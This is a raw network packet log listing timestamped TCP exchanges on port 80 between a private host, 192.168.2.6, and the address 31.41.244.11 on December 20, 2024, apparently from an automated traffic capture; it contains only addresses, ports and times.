Dec 20, 2024 21:13:24.890506983 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.890583992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.890678883 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.891436100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.891521931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.891560078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.891751051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.892683029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.892720938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.892771006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.892971039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.893830061 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.893910885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.893914938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.893969059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.895019054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.895086050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.895123005 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.896111012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:24.896235943 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:24.896420002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.026125908 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.026150942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.026252985 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.026393890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.026513100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.026514053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.026707888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.027532101 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.027791977 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.027847052 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.027918100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.028920889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.029007912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.029083967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.029198885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.029923916 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.030035019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.030056953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.030112982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.031128883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.031212091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.031250000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.031461000 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.032342911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.032448053 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.032468081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.032588959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.033490896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.033600092 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.033632040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.033909082 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.034651041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.034744024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.035063982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.035849094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.035965919 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.036022902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.036518097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.037075043 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.037205935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.037245989 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.037431002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.038292885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.038403034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.038450003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.038754940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.039460897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.039575100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.039655924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.039769888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.040678024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.040781975 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.040951014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.041057110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.041856050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.041915894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.041973114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.042001009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.043032885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.043119907 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.043142080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.043459892 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.044209003 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.044399977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.044547081 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.045460939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.045552015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.046024084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.046780109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.046792030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.046933889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.047781944 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.047919035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.047938108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.048248053 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.048969030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.049046993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.049175024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.050194979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.050342083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.050371885 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.050525904 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.051392078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.051537991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.051575899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.051657915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.052512884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.052644014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.052664042 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.052944899 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.053713083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.053822994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.053859949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.054028988 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.054914951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.055114985 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.055797100 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.056128979 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.056211948 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.056224108 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.056272030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.057276011 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.057327986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.057379007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.057480097 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.058506012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.058590889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.058613062 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.058752060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.059710026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.059823990 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.059859991 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.060009956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.060862064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.061008930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.061009884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.061337948 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.062084913 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.062243938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.062441111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.063251019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.063350916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.063461065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.063529015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.064414978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.064538002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.064584017 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.064718962 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.065656900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.065763950 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.065828085 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.065896034 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.066845894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.067044020 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.067058086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.067168951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.068003893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.068101883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.068265915 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.069209099 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.069320917 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.069390059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.070235968 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.070400000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.070507050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.070547104 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.070662022 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.071589947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.071691036 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.071921110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.072757959 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.072884083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.072941065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.073158979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.073951960 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.074004889 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.074071884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.074240923 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.075160027 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.075290918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.075330973 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.075786114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.076401949 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.076466084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.076561928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.077519894 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.077635050 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.077706099 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.077975035 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.078754902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.078947067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.079341888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.079977989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.080059052 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.080140114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.081002951 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.081106901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.081222057 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.081249952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.081654072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.082325935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.082478046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.082525015 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.082827091 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.083631039 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.083719969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.083731890 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.083836079 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.084702969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.084937096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.084979057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.085338116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.085849047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.085958004 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.086210012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.087182045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.087285995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.087331057 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.088155031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.088321924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.088462114 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.218396902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.218475103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.218533993 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.218688965 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.218907118 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.219049931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.219152927 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.219352007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.220119953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.220249891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.220253944 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.220663071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.221358061 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.221445084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.221501112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.221916914 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.222487926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.222569942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.222594976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.223757982 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.223850965 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.223901033 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.224216938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.224934101 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.225090981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.225291967 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.226072073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.226171017 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.226322889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.227283955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.227446079 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.227659941 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.228091955 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.228436947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.228552103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.228615999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.229628086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.229772091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.229779959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.229866982 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.230885029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.231025934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.231086969 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.232027054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.232126951 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.232177973 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.233231068 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.233388901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.233427048 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.233635902 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.234411001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.234550953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.234580994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.234769106 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.235618114 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.235701084 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.235727072 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.235794067 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.236759901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.236848116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.236877918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.237112045 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.237967968 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.238079071 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.238182068 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.238182068 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.239171028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.239286900 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.239295959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.239469051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.240355015 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.240504026 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.240530014 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.241697073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.241780996 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.242450953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.242628098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.242783070 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.242923021 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.243232012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.243916988 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.244045019 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.244160891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.244326115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.245170116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.245233059 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.245271921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.246337891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.246417046 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.246458054 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.246561050 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.247492075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.247603893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.247718096 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.248666048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.248737097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.249353886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.249882936 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.250009060 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.250020981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.250165939 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.251060963 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.251108885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.251157045 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.251497984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.252278090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.252378941 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.252471924 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.252471924 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.253485918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.253633976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.253667116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.253993034 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.254645109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.254735947 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.255250931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:25.255892992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:25.255990982 CET	80	49887	31.41.244.11	192.168.2.6
